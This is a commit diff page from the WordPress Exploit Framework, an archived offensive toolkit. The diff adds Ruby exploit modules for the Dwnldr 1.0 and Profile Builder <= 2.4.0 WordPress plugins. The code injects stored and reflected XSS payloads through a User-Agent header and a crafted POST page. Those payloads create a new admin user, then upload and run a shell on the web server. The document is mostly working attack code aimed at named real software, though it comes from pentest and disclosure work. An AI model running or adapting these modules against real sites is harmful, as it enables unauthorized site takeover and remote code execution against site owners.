This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 3 files changed +99
-0
lines changed
Expand file tree Collapse file tree 3 files changed +99
-0
lines changed Original file line number Diff line number Diff line change @@ -11,6 +11,12 @@ module Wpxf::WordPress::Xss
1111 def initialize
1212 super
1313 @success = false
14+ @info [ :desc ] = 'This module stores a script which will be executed when ' \
15+ 'an admin user visits the vulnerable page. Execution of the script ' \
16+ 'will create a new admin user which will be used to upload ' \
17+ 'and execute the selected payload in the context of the ' \
18+ 'web server.'
19+
1420 register_options ( [
1521 StringOption . new (
1622 name : 'xss_host' ,
Original file line number Diff line number Diff line change 1+ class Wpxf ::Exploit ::DwnldrXssShellUpload < Wpxf ::Module
2+ include Wpxf ::WordPress ::Xss
3+
4+ def initialize
5+ super
6+
7+ update_info (
8+ name : 'Dwnldr 1.0 XSS Shell Upload' ,
9+ author : [
10+ 'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
11+ ] ,
12+ references : [
13+ [ 'URL' , 'http://blog.rastating.com/dwnldr-1-0-stored-xss-disclosure' ]
14+ ] ,
15+ date : 'Jul 18 2016'
16+ )
17+
18+ register_options ( [
19+ StringOption . new (
20+ name : 'attachment_link' ,
21+ desc : 'The address of a valid attachment download link' ,
22+ required : true
23+ )
24+ ] )
25+ end
26+
27+ def check
28+ check_plugin_version_from_changelog ( 'dwnldr' , 'readme.txt' , '1.01' )
29+ end
30+
31+ def run
32+ return false unless super
33+
34+ emit_info 'Storing script...'
35+ res = execute_get_request (
36+ url : datastore [ 'attachment_link' ] ,
37+ headers : { 'User-Agent' => "\" ><script>#{ xss_ascii_encoded_include_script } </script><\" " }
38+ )
39+
40+ if res . nil?
41+ emit_error 'No response from the target'
42+ return false
43+ end
44+
45+ if res . code != 200
46+ emit_error "Server responded with code #{ res . code } "
47+ return false
48+ end
49+
50+ emit_success 'Script stored and will be executed when a user views the download logs for the specified attachment.'
51+ start_http_server
52+
53+ xss_shell_success
54+ end
55+ end
Original file line number Diff line number Diff line change 1+ class Wpxf ::Exploit ::ProfileBuilderReflectedXssShellUpload < Wpxf ::Module
2+ include Wpxf ::WordPress ::StagedReflectedXss
3+
4+ def initialize
5+ super
6+
7+ update_info (
8+ name : 'Profile Builder <= 2.4.0 Reflected XSS Shell Upload' ,
9+ author : [
10+ 'Yorick Koster' , # Disclosure
11+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
12+ ] ,
13+ references : [
14+ [ 'WPVDB' , '8547' ] ,
15+ [ 'URL' , 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_profile_builder_wordpress_plugin.html' ]
16+ ] ,
17+ date : 'Jul 13 2016'
18+ )
19+ end
20+
21+ def check
22+ check_plugin_version_from_readme ( 'profile-builder' , '2.4.1' )
23+ end
24+
25+ def vulnerable_url
26+ normalize_uri ( wordpress_url_admin , 'users.php' )
27+ end
28+
29+ def initial_script
30+ %|<html><head></head><body><script>
31+ #{ js_post }
32+ post('#{ vulnerable_url } ?page=unconfirmed_emails', {
33+ page: '"><script>#{ xss_ascii_encoded_include_script } <\\ /script>'
34+ });
35+ </script></body></html>
36+ |
37+ end
38+ end
You can’t perform that action at this time.
0 commit comments